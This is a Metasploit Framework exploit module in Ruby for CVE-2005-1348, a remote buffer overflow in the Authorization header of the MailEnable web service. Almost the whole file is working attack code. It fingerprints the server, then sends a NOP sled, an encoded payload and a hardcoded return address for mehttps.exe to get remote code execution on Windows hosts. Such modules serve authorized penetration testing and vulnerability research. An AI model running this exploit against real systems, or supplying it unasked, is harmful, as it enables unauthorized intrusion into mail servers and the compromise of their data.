rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /MailEnable/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MailEnable Authorization Header Buffer Overflow',
      'Description'    => %q{
          This module exploits a remote buffer overflow in the MailEnable web service.
        The vulnerability is triggered when a large value is placed into the Authorization
        header of the web request. MailEnable Enterprise Edition versions prior to 1.0.5 and
        MailEnable Professional versions prior to 1.55 are affected.
      },
      'Author'         => 'David Maciejak <david.maciejak[at]kyxar.fr>',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE',   '2005-1348'],
          ['OSVDB', '15913'],
          ['OSVDB', '15737'],
          ['BID',   '13350'],
          ['URL',   'http://www.nessus.org/plugins/index.php?view=single&id=18123'],
        ],
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "\x0d\x0a"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['MEHTTPS.exe Universal', { 'Ret' => 0x006c36b7 }], # mehttps.exe
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2005-04-24'))
  end

  def check
    info = http_fingerprint  # check method
    if (info =~ /MailEnable/)
      return Exploit::CheckCode::Detected
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    buffer = make_nops(24) + payload.encoded + [target.ret].pack('V')

    send_request_raw(
      {
        'headers' => { 'Authorization' => buffer }
      }, 2)

    handler
    disconnect
  end
end